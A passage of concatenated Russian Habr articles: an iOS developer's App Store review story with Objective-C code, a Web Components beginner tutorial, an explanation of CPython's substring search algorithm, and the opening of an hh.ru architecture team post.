NSString* html = [NSString stringWithContentsOfFile:filePath encoding:NSUTF8StringEncoding error:nil];
// загружаем в UIWebView содержимое
[_webView loadHTMLString:html baseURL:nil];
} else if (indexFont == 1) {
// узнаем путь к файлу
NSString* filePath = [[NSBundle mainBundle] pathForResource:@"preOnePartMediumFont" ofType:@"html"];
// помещаем в NSString
NSString* html = [NSString stringWithContentsOfFile:filePath encoding:NSUTF8StringEncoding error:nil];
// загружаем в UIWebView содержимое
[_webView loadHTMLString:html baseURL:nil];
} else if (indexFont == 2) {
// узнаем путь к файлу
NSString* filePath = [[NSBundle mainBundle] pathForResource:@"preOnePartLargeFont" ofType:@"html"];
// помещаем в NSString
NSString* html = [NSString stringWithContentsOfFile:filePath encoding:NSUTF8StringEncoding error:nil];
// загружаем в UIWebView содержимое
[_webView loadHTMLString:html baseURL:nil];
}
```
Несколько дней я создавал каркас приложения, меню и прочие мелочи. Сделал нужную мне несложную навигацию по частям и главам устава и в принципе, приложение было готово. Использовал open-source библиотеку [SWRevealController](https://github.com/John-Lluch/SWRevealViewController) для меню.
Добавил в меню раздел «О приложении».
Здесь пользователь может рассказать в Twitter и Facebook о приложении:
```
#pragma mark - share actions
- (IBAction)twitterShare:(UIButton *)sender {
if ([SLComposeViewController
isAvailableForServiceType:SLServiceTypeTwitter]) {
SLComposeViewController* controller = [SLComposeViewController composeViewControllerForServiceType:SLServiceTypeTwitter];
[controller setInitialText:@" #AppStore Я пользуюсь приложением «Military! - Новости & Устав Внутренней Службы Вооруженных Сил РФ» в App Store. Советую и вам ;)"];
[controller addURL:[NSURL URLWithString:@"https://itunes.apple.com/ru/app/military!-novosti-ustav-vnutrennej/id914651209?l=en&mt=8"]];
controller.completionHandler = ^(SLComposeViewControllerResult result) {
NSLog(@"Completed");
};
[self presentViewController:controller animated:YES completion:nil];
} else {
UIAlertView* error = [[UIAlertView alloc]
initWithTitle:@"Ошибка"
message:@"Вы не настроили Twitter-аккаунт в настройках. \nПройдите авторизацию, пожалуйста!"
delegate:self
cancelButtonTitle:@"OK"
otherButtonTitles:nil,nil];
[error show];
NSLog(@"The twitter sevice is not evailalble");
}
}
- (IBAction)facebookShare:(UIButton *)sender {
// Put together the dialog parameters
NSMutableDictionary *params = [NSMutableDictionary dictionaryWithObjectsAndKeys:
@"Military!", @"name",
@"Новости & Устав Внутренней Службы Вооруженных Сил России", @"caption",
@"Если вы военнослужащий Российской Федерации и всегда хотите быть в курсе новостей Вооруженных Сил РФ, а так же всегда иметь при себе устав Внутренней Службы, то это приложение для Вас!", @"description",
@"https://itunes.apple.com/ru/app/military!-novosti-ustav-vnutrennej/id914651209?l=en&mt=8", @"link",
@"http://cs619627.vk.me/v619627853/19d6e/xdHr-XTVs8k.jpg", @"picture",
nil];
// Show the feed dialog
[FBWebDialogs presentFeedDialogModallyWithSession:nil
parameters:params
handler:^(FBWebDialogResult result, NSURL *resultURL, NSError *error) {
if (error) {
// An error occurred, we need to handle the error
// See: https://developers.facebook.com/docs/ios/errors
NSLog(@"Error publishing story: %@", error.description);
} else {
if (result == FBWebDialogResultDialogNotCompleted) {
// User cancelled.
NSLog(@"User cancelled.");
} else {
// Handle the publish feed callback
NSDictionary *urlParams = [self parseURLParams:[resultURL query]];
if (![urlParams valueForKey:@"post_id"]) {
// User cancelled.
NSLog(@"User cancelled.");
} else {
// User clicked the Share button
NSString *result = [NSString stringWithFormat: @"Posted story, id: %@", [urlParams valueForKey:@"post_id"]];
NSLog(@"result %@", result);
}
}
}
}];
}
//------------------Login implementation starts here------------------
- (void)loginView:(FBLoginView *)loginView handleError:(NSError *)error {
NSString *alertMessage, *alertTitle;
// If the user should perform an action outside of you app to recover,
// the SDK will provide a message for the user, you just need to surface it.
// This conveniently handles cases like Facebook password change or unverified Facebook accounts.
if ([FBErrorUtility shouldNotifyUserForError:error]) {
alertTitle = @"Facebook error";
alertMessage = [FBErrorUtility userMessageForError:error];
// This code will handle session closures since that happen outside of the app.
// You can take a look at our error handling guide to know more about it
// https://developers.facebook.com/docs/ios/errors
} else if ([FBErrorUtility errorCategoryForError:error] == FBErrorCategoryAuthenticationReopenSession) {
alertTitle = @"Session Error";
alertMessage = @"Your current session is no longer valid. Please log in again.";
// If the user has cancelled a login, we will do nothing.
// You can also choose to show the user a message if cancelling login will result in
// the user not being able to complete a task they had initiated in your app
// (like accessing FB-stored information or posting to Facebook)
} else if ([FBErrorUtility errorCategoryForError:error] == FBErrorCategoryUserCancelled) {
NSLog(@"user cancelled login");
// For simplicity, this sample handles other errors with a generic message
// You can checkout our error handling guide for more detailed information
// https://developers.facebook.com/docs/ios/errors
} else {
alertTitle = @"Something went wrong";
alertMessage = @"Please try again later.";
NSLog(@"Unexpected error:%@", error);
}
if (alertMessage) {
[[[UIAlertView alloc] initWithTitle:alertTitle
message:alertMessage
delegate:nil
cancelButtonTitle:@"OK"
otherButtonTitles:nil] show];
}
}
- (NSDictionary*)parseURLParams:(NSString *)query {
NSArray *pairs = [query componentsSeparatedByString:@"&"];
NSMutableDictionary *params = [[NSMutableDictionary alloc] init];
for (NSString *pair in pairs) {
NSArray *kv = [pair componentsSeparatedByString:@"="];
NSString *val =
[kv[1] stringByReplacingPercentEscapesUsingEncoding:NSUTF8StringEncoding];
params[kv[0]] = val;
}
return params;
}
```
Еще два дня я наводил маленькую красоту в приложении. Спешу отметить, что в первоначальной версии, которая была отправлено на Review в Apple, приложение не имело раздела “Свежие новости” — был просто один устав и все.
Приложение было отправлено на Review в начале сентября и уже через неделю я получил первый Reject от Apple. В чем же дело? Apple трактовала свою точку зрения таким образом — “Приложения, представляющие из себя песню или фильм, должны быть отправлены в iTunes Store. Приложения, представляющие из себя книгу, должны быть отправлены в iBooks Store”.
Да, в принципе, Apple были правы, так как приложение было больше похоже на книгу. Я решил добавить в функционал что-нибудь еще… Например, поток свежих новостей той же тематики, что и приложение. Взял для этого RSS-поток «РИА Новости» и парсил его c помощью NSXMLParser:
```
#pragma mark - NSXMLParser
- (void)parser:(NSXMLParser *)parser didStartElement:(NSString *)elementName namespaceURI:(NSString *)namespaceURI qualifiedName:(NSString *)qName attributes:(NSDictionary *)attributeDict {
element = elementName;
if ([element isEqualToString:@"item"]) {
item = [[NSMutableDictionary alloc] init];
title = [[NSMutableString alloc] init];
link = [[NSMutableString alloc] init];
image = [[NSMutableDictionary alloc] init];
description = [[NSMutableString alloc] init];
date = [[NSMutableString alloc] init];
}
if ([element isEqualToString:@"enclosure"]) {
linkImage = [attributeDict objectForKey:@"url"];
typeImage = [attributeDict objectForKey:@"type"];
}
// NSLog(@"RSS Utility: didStartElement: %@", elementName);
}
- (void)parser:(NSXMLParser *)parser didEndElement:(NSString *)elementName namespaceURI:(NSString *)namespaceURI qualifiedName:(NSString *)qName {
if ([elementName isEqualToString:@"item"]) {
[item setObject:title forKey:@"title"];
[item setObject:link forKey:@"link"];
[item setObject:description forKey:@"description"];
[item setObject:image forKey:@"enclosure"];
[item setObject:typeImage forKey:@"imageType"];
[item setObject:linkImage forKey:@"imageUrl"];
[item setObject:date forKey:@"pubDate"];
[feeds addObject:[item copy]];
}
}
- (void)parser:(NSXMLParser *)parser foundCharacters:(NSString *)string {
if ([element isEqualToString:@"title"]) {
[title appendString:string];
} else if ([element isEqualToString:@"link"]) {
[link appendString:string];
} else if ([element isEqualToString:@"imageUrl"]) {
[linkImage appendString:string];
} else if ([element isEqualToString:@"description"]) {
[description appendString:string];
} else if ([element isEqualToString:@"pubDate"]) {
[date appendString:string];
}
}
- (void)parserDidEndDocument:(NSXMLParser *)parser {
[self.tableView reloadData];
[self.refreshControl endRefreshing];
}
```
Для того, чтобы посмотреть новость полностью, по нажатию на ячейку таблицы, открывался контроллер с Web View
Метод, который передает ссылку на новость в другой контроллер:
```
#pragma mark - Passed data to another controller
- (void)prepareForSegue:(UIStoryboardSegue *)segue sender:(id)sender {
if ([[segue identifier] isEqualToString:@"CustomSegue"]) {
NSIndexPath *indexPath = [self.tableView indexPathForSelectedRow];
NSString *string = [feeds[indexPath.row] objectForKey: @"link"];
[[segue destinationViewController] setUrl:string];
NSString* string2 = [feeds [indexPath.row] objectForKey:@"title"];
[[segue destinationViewController] setTitleForShare:string2];
}
}
```
Наши действия в контроллере с Web View:
```
@implementation IVDetailViewController
@synthesize titleForShare;
- (void)viewDidLoad {
[super viewDidLoad];
NSURL *myURL = [NSURL URLWithString: [self.url stringByAddingPercentEscapesUsingEncoding:
NSUTF8StringEncoding]];
NSURLRequest *request = [NSURLRequest requestWithURL:myURL];
[self.webView loadRequest:request];
[self.navigationController.navigationBar addGestureRecognizer:self.revealViewController.panGestureRecognizer];
// Do any additional setup after loading the view.
}
```
Реализовав данный функционал, я вновь отправил на проверку в Apple. Через полторы неделю получаю второй отказ. Что же не так в этот раз?! Читаю комментарии проверяющих приложение — “Apple и наши клиенты высоко ценят простой, изысканный, творческий, хорошо продуманный интерфейс. Они требуют больше усилий, но оно того стоит. Apple устанавливает высокую планку. Если пользовательский интерфейс недостаточно хорош, приложение может быть отклонено”.
Подумав своей головой, я кинулся снова дорабатывать свое детище. Были добавлены фотографии в ленту новостей и шаринг, здесь я использовал Custom Table Cells.
После этого добавил еще навигацию по Web View в контролере, где можно посмотреть новость полностью. То бишь — на страницу вперед, на страницу назад, остановить загрузку, обновить. И еще открывающийся UIActivityViewController:
```
- (IBAction)activityAction:(id)sender {
NSString *textToShare = titleForShare;
NSURL *myWebsite = [NSURL URLWithString:self.url];
NSArray *objectsToShare = @[textToShare, myWebsite];
UIActivityViewController *activityVC = [[UIActivityViewController alloc] initWithActivityItems:objectsToShare applicationActivities:nil];
NSArray *excludeActivities = @[UIActivityTypeAirDrop,
UIActivityTypePrint,
UIActivityTypeAssignToContact,
UIActivityTypeSaveToCameraRoll,
UIActivityTypeAddToReadingList,
UIActivityTypePostToFlickr,
UIActivityTypePostToVimeo];
activityVC.excludedActivityTypes = excludeActivities;
[self presentViewController:activityVC animated:YES completion:nil];
}
```
Доработал интерфейс, обновил так же иконку приложения и добавил splash view (это то, что появляется перед запуском приложения).
Приложение было отправлено в третий раз. И в этот раз приложение наконец-то загорело счастливым мне статусом “Ready For Sale”.
**Почему я считаю, что Apple сильно повлияло на вид и функционал приложения? Думаю из рассказа все стало понятно. И для себя я понял, почему Apple так трепетно относится к проверке приложений, отправленых им на проверку. Не нужно никуда спешить, нужно делать качественный продукт сразу! Apple любит качество и в этом мы еще раз убедились! Выводы для себя, естественно, сделаны.**
P.S. Спешу заметить для Вас, дорогие читатели: мой опыт разработки под iOS всего-то ничего – буквально с мая 2014 года.
P.S.P.S Почти сразу же во второй день после дня релиза приложения я получил первый плохой отзыв приложению. Основые претензии были такими: старый устав за 2007 год, без обновлений за 2014 год и в приложении не было возможности изменить размер шрифта для удобства чтения устава. Вина полностью лежала на мне и я это понимал. В этот же день, ценою своего сна, я все это реализовал и поправил прочие мелочи. Обновление уже отправлено на проверку.
После этого была еще создана специальная support-группа для данного приложения, где пользователь сможет лично убедиться, что я их услышал. Группу можно найти на странице приложения в App Store в разделе “Сайт разработчика”.
UPDATE!
Сейчас приложение находится на первом месте в топ платных приложений категории «Новости».
 | https://habr.com/ru/post/240881/ | null | ru | null |
# Быстрый старт с WebComponents
Веб-компоненты это набор стандартов определяющих программные интерфейсы для организации компонентной архитектуры. Все они реализованы в современных версиях браузеров, т.е. не требуют подключения библиотек или транспиляторов кода, однако, если нужна совместимость например с Internet Explorer 11, то и библиотеки и транспиляторы использовать видимо все-таки придется.
Данная статья ориентирована на начальный уровень подготовки и разработчиков имеющих опыт с тем или иным фронтенд фреймворком, но возможно, благодаря некоторым фокусам, будет интересна и многоопытным специалистам.
Все эксперименты приводимые далее проверялись в Chrome и Firefox может быть даже не самых новых версий.
Итак начнем.
Для начала создадим директорию для проекта и перейдем в него.
```
mkdir mywebcomp
cd mywebcomp
```
Выполним:
```
npm init
```
в этом каталоге ответив на все вопросы по умолчанию.
Создадим в каталоге файл **index.html** с самым простым содержимым.
```
```
Добавим тег для элемента, имя должно обязательно содержать дефис, это сигнал для подсистемы CusomElements для попытки определения этого элемента как надстраивающего стандартные.
```
```
Добавим класс обработчик в теге **script**.
```
class MyWebComp extends HTMLElement {
connectedCallback() {
this.insertAdjacentHTML('beforeEnd', `<div>Hello</div>`)
}
}
customElements.define('my-webcomp', MyWebComp);
```
В модульном теге **script**, мы определили новый класс который c помощью метода **customElements.define()** определили за тегом **my-webcomp**. А добавив код в метод **connectedCallback()** мы обеспечили его вызов при добавлении реализации компонента в дерево. Результат уже можно посмотреть в браузере:
Однако, размещать html верстку прямо в код если и удобно для небольших кусочков, то вообще не правильно, что особенно сказывается когда кусочки разрастаются до приличных размеров. Например на форме с 20ю элементами, которую побить на подкомпоненты тоже не всегда может быть удобно. Поэтому мы для начала вынесем верстку в шаблон, который будет располагаться в том же html, хотя ничто не помешает его нам загрузить из отдельного файла при необходимости.
```
Hello
class MyWebComp extends HTMLElement {
connectedCallback() {
let tplEl = document.querySelector('#myWebCompTemplate');
let html = document.importNode(tplEl.content, true);
this.appendChild(html);
}
}
customElements.define('my-webcomp', MyWebComp);
```
В коде компонента вставку строки c html мы заменили на получение элемента шаблона по id. Импорт, т.е. создание копии этого элемента и прицепление к содержимому текущего.
id назван в нотации camelCase т.к. все айдишники элементов прокидываются в глобальное пространство имен и при использовании дефисов или других спец. символов доступ к ним может быть менее элегантен. Т.е. мы могли бы вместо:
```
let tplEl = document.querySelector('#myWebCompTemplate');
let html = document.importNode(tplEl.content, true);
```
написать в одну строчку:
```
let html = document.importNode(myWebCompTemplate.content, true);
```
и этот код работал бы точно так же, но это считается не очень безопасным. Также если мы присвоим id нашему элементу, то сможем обращаться к нему из любой точки контекста как к экземпляру из глобального пространства имен вызывая методы и получая значения свойств.
Например вот так:
```
class MyWebComp extends HTMLElement {
connectedCallback() {
let html = document.importNode(myWebCompTemplate.content, true);
this.appendChild(html);
}
}
customElements.define('my-webcomp', MyWebComp);
myWebComp.showMessage();
```
При таком раскладе алерт будет показываться сразу при загрузке страницы.
Теперь повесим обработчик клика мышки для нашего компонента который будет выводить алерт сообщение.
```
class MyWebComp extends HTMLElement {
connectedCallback() {
let html = document.importNode(myWebCompTemplate.content, true);
this.appendChild(html);
}
showMessage(event) {
alert("This is the message");
console.log(event);
}
}
customElements.define('my-webcomp', MyWebComp);
```
Теперь при нажатии на сообщение у нас будет реакция на действия пользователя.
Аргументом метода **showMessage()** также объявляется объект **event**, который хранит данные о событии, например координаты клика или ссылку на сам элемент.
Часто каждый конкретный элемент надо сконфигурировать уникальным для него образом, это можно сделать используя атрибуты.
Добавим второй экземпляр элемента и определим для каждого из них разные свойства **greet-name** значения которых будут выводиться при нажатии на элемент.
```
class MyWebComp extends HTMLElement {
connectedCallback() {
let html = document.importNode(myWebCompTemplate.content, true);
this.appendChild(html);
}
showMessage(event) {
alert("This is the message " + this.getAttribute('greet-name'));
console.log(event);
}
}
customElements.define('my-webcomp', MyWebComp);
```
Теперь при нажатии на первый будет выводиться “This is the message for John”, а на второй “This is the message for Josh”.
Может так случиться что атрибут надо будет использовать не в обработке события, а прямо отрендерить в шаблон, для этого мы добавим id целевому элементу и подставим значение из апи сразу после рендеринга копии объекта шаблона.
```
Hello
class MyWebComp extends HTMLElement {
connectedCallback() {
let html = document.importNode(myWebCompTemplate.content, true);
this.appendChild(html);
this.querySelector('#helloLabel').textContent += ' ' + this.getAttribute('greet-name');
}
showMessage(event) {
alert("This is the message " + this.getAttribute('greet-name'));
console.log(event);
}
}
customElements.define('my-webcomp', MyWebComp);
```
Получается вот так:
Вместо **.textContent** может быть **.innerHTML** или можно вызвать у объекта из селектора тот же метод **.insertAdjacentHTML()** мы делали в самом начале.
Долгое время использование айдишников считалось дурным тоном, потому что на значительных объемах кода они могли дублироваться, что приводило к коллизиям. Однако, с появлением технологии теневого дерева можно внутреннее содержимое элемента изолировать использовать айдишники, стили и прочие ресурсы без опасений. Для веб-компонентов включается теневое дерево следующим образом:
```
this.attachShadow({mode: 'open'});
```
Теперь правда все DOM обращения к this придется заменить на **this.shadowRoot** благо их пока не так много.
```
class MyWebComp extends HTMLElement {
connectedCallback() {
let html = document.importNode(myWebCompTemplate.content, true);
this.attachShadow({mode: 'open'});
this.shadowRoot.appendChild(html);
this.shadowRoot.querySelector('#helloLabel').textContent += ' ' + this.getAttribute('greet-name');
}
showMessage(event) {
alert("This is the message " + this.getAttribute('greet-name'));
console.log(event);
}
}
customElements.define('my-webcomp', MyWebComp);
```
Визуально работа этого кода опять никак не изменится, но теперь в глобальном пространстве имен не будет никакого helloLabel, а у на странице уже 2 элемента с таким идентификатором. А получить доступ к ним можно будет например вот так:
```
myWebComp.shadowRoot.getElementById('helloLabel');
```
и то если вы не закроете дерево передав соответствующий атрибут в методе **.attachShadow()**.
У нас получилось довольно много кода и размещать его прямо в html файле тоже не очень правильно. Поэтому создадим файл **my-webcomp.js** и перенесем в него наш класс предварив инструкцией export, а в теге script добавим импорт этого класса, чтобы получилось вот такое:
```
import { MyWebComp } from "./my-webcomp.js";
customElements.define('my-webcomp', MyWebComp);
myWebComp.shadowRoot.getElementById('helloLabel');
```
На работоспособности это никак не скажется, но теперь вся бизнес логика у нас отдельно в .js, конфигурация осуществляется в html атрибутами, а модульную асинхронную инициализацию берут на себя механизмы модульной и компонентной системы браузера.
Правда с этого момента открывать **index.html** как локальный для разработки не получится, т.к. браузер заблокирует загрузку скрипта с файловой системы. Если у вас есть nodejs можно поставить простейший веб-сервер:
```
npm i http-server -g
```
и запускать его командой http-server в каталоге с проектом, при запуске он подскажет хост и порт с которого можно открывать страницу
```
http://127.0.0.1:8080
```
Которая и будет отныне адресом отладочной страницы с нашим элементом.
Немаловажным для разработки является написание тестов, они помогают удерживать код работоспособным в ходе развития его компонентов. Для тестирования веб-компонентов можно использовать mocha в режиме запуска из браузера.
Добавим пакеты.
```
npm i mocha chai wct-mocha --save-dev
```
Для этого создадим каталог **test** и добавим в него файл **all.html** такого содержимого:
```
WCT.loadSuites([
'my-webcomp.tests.html',
]);
```
Скопируем наш **index.html** в **test/** задав ему имя **my-webcomp.tests.html** и добавим такое же содержимое head как и в **all.html**.
Однако, нам обычную инициализацию и манипуляции теперь надо будет заменить на производимую в рамках запуска тестов:
```
import { MyWebComp } from "../my-webcomp.js";
customElements.define('my-webcomp', MyWebComp);
suite('MyWebComp', () => {
test('is MyWebComp', () => {
const element = document.getElementById('myWebComp');
chai.assert.instanceOf(element, MyWebComp);
});
});
```
Теперь при заходе на
```
http://127.0.0.1:8080/test/all.html
```
будет показан отчет о выполнении тестов.
Но может потребоваться запускать тесты автоматизировано и в разных браузеров для этого надо поставить специальную утилиту:
```
sudo npm install --global web-component-tester --unsafe-perm
```
и запускать вот так:
```
wct --npm
```
Эту строчку можно добавить в секцию **test** файла **package.json** и запускать как:
```
npm test
```
Рекомендуется тестировать каждый значимый метод класса в рамках отдельного теста. Если надо сделать общую для каждого инициализацию ее следует определить в методе **suiteSetup()**:
```
suiteSetup(() => {
});
```
внутри suite.
На этом наверное хватит для первого раза, мы получили некоторый минимальный проект которому решай он конкретную задачу не стыдно было бы сделать.
```
npm publish
```
или хотя бы
```
git push
```
Книг на тему пока не так уж много, но вся расширенная документация легко находится по словам Web Components, CustomElements, ShadowDOM, Native Template Tag, Custom Events.
Сверить свой код можно с репозиторием: <https://bitbucket.org/techminded/mywebcomp>
А продолжение темы демонстрирующее способы взаимодействия между компонентами за счет использования событий можно найти вот [тут](https://habr.com/ru/post/461153/) | https://habr.com/ru/post/460397/ | null | ru | null |
# Поиск в строке. Реализация в CPython
Довольно давно на одной из презентаций выпускников одной из так называемых ИТ-академий докладчика спросили о деталях реализации поиска подстроки в строке толи в Java, толи в .Net. Выпускник конечно не смог ничего вразумительного ответить, а я отложил вопрос в и без того длинный todo-лист.
Прошло время, Python стал для меня актуальней enterprise платформ, так что вашему вниманию разбор алгоритма поиска подстроки в Python.
Реализацию объекта string можно найти здесь — [Objects/stringobject.c](http://svn.python.org/projects/python/trunk/Objects/stringobject.c) . Определение функций, которые отвечают за разные виды поиска (*find*, *rfind*, *\_\_contains\_\_*) — [Objects/stringlib/find.h](http://svn.python.org/projects/python/trunk/Objects/stringlib/find.h). Все эти функции (вместе с *split*, *replace* и т.п.) используют поиск, реализованный в [Objects/stringlib/fastsearch.h](http://svn.python.org/projects/python/trunk/Objects/stringlib/fastsearch.h). Им мы и займёмся.
Собственно сам алгоритм назван ([The stringlib Library](http://effbot.org/zone/stringlib.htm)) автором ([Fredrik Lundh](http://effbot.org/zone/about.htm#author)) миксом алгоритмов [Бойера — Мура](http://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D0%91%D0%BE%D0%B9%D0%B5%D1%80%D0%B0_%E2%80%94_%D0%9C%D1%83%D1%80%D0%B0) и [Хорспула](http://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC_%D0%91%D0%BE%D0%B9%D0%B5%D1%80%D0%B0_%E2%80%94_%D0%9C%D1%83%D1%80%D0%B0_%E2%80%94_%D0%A5%D0%BE%D1%80%D1%81%D0%BF%D1%83%D0%BB%D0%B0) с несколькими усовершенствованиями и упрощениями. Алгоритм также использует [фильтр Блума](http://ru.wikipedia.org/wiki/%D0%A4%D0%B8%D0%BB%D1%8C%D1%82%D1%80_%D0%91%D0%BB%D1%83%D0%BC%D0%B0).
И так, поехали. Заголовок функции:
```
fastsearch(const STRINGLIB_CHAR* s, Py_ssize_t n,
const STRINGLIB_CHAR* p, Py_ssize_t m,
Py_ssize_t maxcount, int mode)
/* s - строка, в которой ищем,
n - её длина,
p - подстрока, которою ищем (часто называемая шаблоном),
m - её длина,
maxcount - максимальное значения для счетчика, если просто считаем сколько раз встречается подстрока,
mode - просто поиск/поиск с конца/подсчет количества вхождений подстроки */
```
Всё вроде ясно. Посмотрим на *define* операторы:
```
/* Вот и определения для параметра mode */
#define FAST_COUNT 0
#define FAST_SEARCH 1
#define FAST_RSEARCH 2
/* STRINGLIB_BLOOM_WIDTH в зависимости от платформы\(обычная строка или юникод)
может принимать значения 32, 64, 128 */
#define STRINGLIB_BLOOM_ADD(mask, ch) ((mask |= (1UL << ((ch) & (STRINGLIB_BLOOM_WIDTH -1)))))
#define STRINGLIB_BLOOM(mask, ch) ((mask & (1UL << ((ch) & (STRINGLIB_BLOOM_WIDTH -1)))))
```
Как работает эта реализация блум-фильтров. Каждому символу на основание его последних *log(STRINGLIB\_BLOOM\_WIDTH)* битов ставится в соответствие некоторое число. Например, для *a* это *1*:
```
>>> ord('a') & 31
1
```
Для *q* — *17*:
```
>>> ord('q') & 31
17
```
С помощью логического «ИЛИ» *STRINGLIB\_BLOOM\_ADD* накапливает информацию об увиденных символах в фильтре *mask*. Позже с помощью *STRINGLIB\_BLOOM* можно проверить, добавлялся ли символ к фильтру. Конечно, у этой проверки могут быть false positives (*STRINGLIB\_BLOOM* возвращает не 0, но символа на самом деле нет в строке\фильтре):
```
>>> ord(']') & 31
29
>>> ord('}') & 31
29
```
Но она довольно дешёвая и помогает сократить число сравнений.
Теперь можно перейти к самому алгоритму. Очевидная логика для случаев *m > n* и *m <= 1*:
```
w = n - m;
if (w < 0 || (mode == FAST_COUNT && maxcount == 0))
return -1;
```
и (часть кода опущена, что бы не рвать статью):
```
if (m <= 1) {
if (m <= 0)
return -1;
if (mode == FAST_COUNT) {
/* ... */
} else if (mode == FAST_SEARCH) {
for (i = 0; i < n; i++)
if (s[i] == p[0])
return i;
} else { /* FAST_RSEARCH */
/* ... */
}
return -1;
}
```
После у нас появляются несколько новых переменных и заполняется маска для искомой подстроки:
```
mlast = m - 1;
skip = mlast - 1;
mask = 0;
for (i = 0; i < mlast; i++) {
STRINGLIB_BLOOM_ADD(mask, p[i]);
if (p[i] == p[mlast])
skip = mlast - i - 1;
}
STRINGLIB_BLOOM_ADD(mask, p[mlast]);
```
*skip* — некоторое число, по умолчанию равно индексу последнего символа искомой строки минус 1. Если же в строке есть символы, равны последнему, то *skip* равен разнице между индексами последнего с них и последнего символа строки.
Описание идеи основного алгоритма с Википедии:
*Сканирование слева направо, сравнение справа налево. Совмещается начало текста (строки) и шаблона, проверка начинается с последнего символа шаблона. Если символы совпадают, производится сравнение предпоследнего символа шаблона и т. д. Если все символы шаблона совпали с наложенными символами строки, значит, подстрока найдена, и поиск окончен.
Если же какой-то символ шаблона не совпадает с соответствующим символом строки, шаблон сдвигается на несколько символов вправо, и проверка снова начинается с последнего символа.*
Собственно реализация этого описания (выше *w = n — m*):
```
for (i = 0; i <= w; i++) {
if (s[i+m-1] == p[m-1]) {
/* Возможно, мы нашли конец нашей подстроки */
for (j = 0; j < mlast; j++)
if (s[i+j] != p[j])
break;
if (j == mlast) {
/* Нашли совпадение! */
if (mode != FAST_COUNT)
/* Если надо было найти одно совпадение - конец,
возвращаем индекс начала совпадения */
return i;
/*Иначе дальше считаем количество совпадений */
count++;
if (count == maxcount)
return maxcount;
i = i + mlast;
continue;
}
/* Хотя один или несколько символов в обоих строках равны,
полного совпадения ми не нашли */
/* Используем уже заполнений фильтр и проверяем,
находиться ли следующий символ в искомой подстроке */
if (!STRINGLIB_BLOOM(mask, s[i+m]))
/* Если нет, то мы можем передвинутся вправо на длину всей искомой строки */
i = i + m;
else
/* Если да, то мы можем передвинутся только на шаг 'skip' */
i = i + skip;
} else {
/* Не нашли ни одного совпадения. Используем уже заполнений фильтр
и проверяем, находиться ли следующий символ в искомой подстроке */
if (!STRINGLIB_BLOOM(mask, s[i+m]))
/* Если нет, то мы можем передвинутся вправо на длину всей искомой строки */
i = i + m;
/* Иначе следующая итерация, i++ */
}
}
```
Немного визуализации. Пусть работаем со строкой «барабан» и ищем подстроку «аба»:
```
заполняем фильтр и считаем skip = 1
i = 0:
______________
|б|а|р|а|б|а|н|
| - нет совпадения, i++
_______
|а|б|а|
i = 1:
______________
|б|а|р|а|б|а|н|
| - есть совпадение, смотрим далее
_______
|а|б|а|
______________
|б|а|р|а|б|а|н|
| - нет совпадения. поскольку следующий после "а" символ "б" принадлежит искомой подстроке, используем шаг skip, инкремент с for и получаем i += 2
_______
|а|б|а|
i = 3:
______________
|б|а|р|а|б|а|н|
| - есть совпадение, смотрим далее
_______
|а|б|а|
______________
|б|а|р|а|б|а|н|
| - есть совпадение, смотрим далее
_______
|а|б|а|
______________
|б|а|р|а|б|а|н|
| - есть совпадение, подстрока найдена
_______
|а|б|а|
```
Ну вот и всё.
Если Вам понравилось, в исходниках Python есть ещё куча мест, в которых интересно покопатся. Например — реализация *list.sort* в [Objects/listobject.c](http://svn.python.org/projects/python/trunk/Objects/listobject.c) или *dict.get* в [Objects/dictobject.c](http://svn.python.org/projects/python/trunk/Objects/dictobject.c).
Удачи!:) | https://habr.com/ru/post/132156/ | null | ru | null |
# Видишь архитектуру? И я не вижу, а она есть
В разработке hh.ru сегодня около 150 человек. У нас множество интересных команд, и каждая вносит значительный вклад. Но в этой статье я расскажу лишь про одну из них.
Потому что я ее тимлид И на это есть несколько причин:
* зачастую кандидаты не понимают, чем мы занимаемся;
* иногда этого не знают даже сотрудники внутри компании, ведь у нашей команды нет продакт-менеджера, своей зоны бизнес-функционала и списка поддерживаемых нами сервисов...;
* наши заслуги чаще всего остаются в тени;
* в конце концов, “хочешь в чем-то разобраться — попробуй это кому-нибудь объяснить” :)
Поэтому я постараюсь на понятных примерах разобрать, в чем в действительности заключается наша работа.
Начнем с самого общего, то есть с приоритетов, их два:
* системное обеспечение надежности и отказоустойчивости нашей платформы. Тут стоит обратить внимание на слово “системное” — оно говорит о том, что мы не фиксим конкретные дефекты производительности, а вырабатываем общие правила и паттерны, закрепляем их во фреймворках, автоматических проверках и пр. так, чтобы это работало для всех.
* фокус разработки на бизнес-логике. То есть, чем меньше разработчик задумывается о поддержке надежности, архитектуры и т.п. — тем лучше. Понятно, что совсем избавлять коллег от таких мыслей скорее даже вредно, но поддерживать разумный баланс смысл есть.
Из этих приоритетов и следуют основные направления нашей работы:
0. Поддержка и развитие архитектуры
-----------------------------------
hh.ru — это 5-6к rps от пользователей, в пике доходящие до 10к, которые вырастают на порядок, доходя до бэкендов. Это более 1500 инстансов, крутящих около 150 сервисов в 3 ДЦ. Так что да, в первую очередь, это те самые развесистые схемы с квадратиками, банками и стрелочками: кто куда ходит, где что должно находиться. Схемы мы, конечно, не рисуем — потребности закрываем автоматикой, логированием и мониторингом, но наших [школьников](https://school.hh.ru) мы пугали, например, такими штуками:
Мы действительно отвечаем за то, чтобы находить и устранять в архитектуре узкие места и негибкие решения и развивать ее согласно потребностям.
Приведу пример:
hh.ru работает уже далеко не первый год, и когда-то казалось хорошей идеей иметь отдельную машинку для выполнения фоновых задач по расписанию — на нее можно выделить побольше ресурсов и на ней не будет гонок. Но что мы имеем в итоге:
* точку отказа для всех задач
* уникальную конфигурацию, воспроизводимую только в проде
* задачи, логика которых рассчитана на выделенный запуск на отдельной жирной машине и не масштабируется горизонтально
Когда мы это поняли, то убедились, что у нас есть все средства для перевода кроновых задач на общие инстансы, и завели большую задачу в категории техдолга — теперь, когда приходит время отдавать долги, коллеги постепенно устраняют эту проблему.
1. Стандартизация костылей
--------------------------
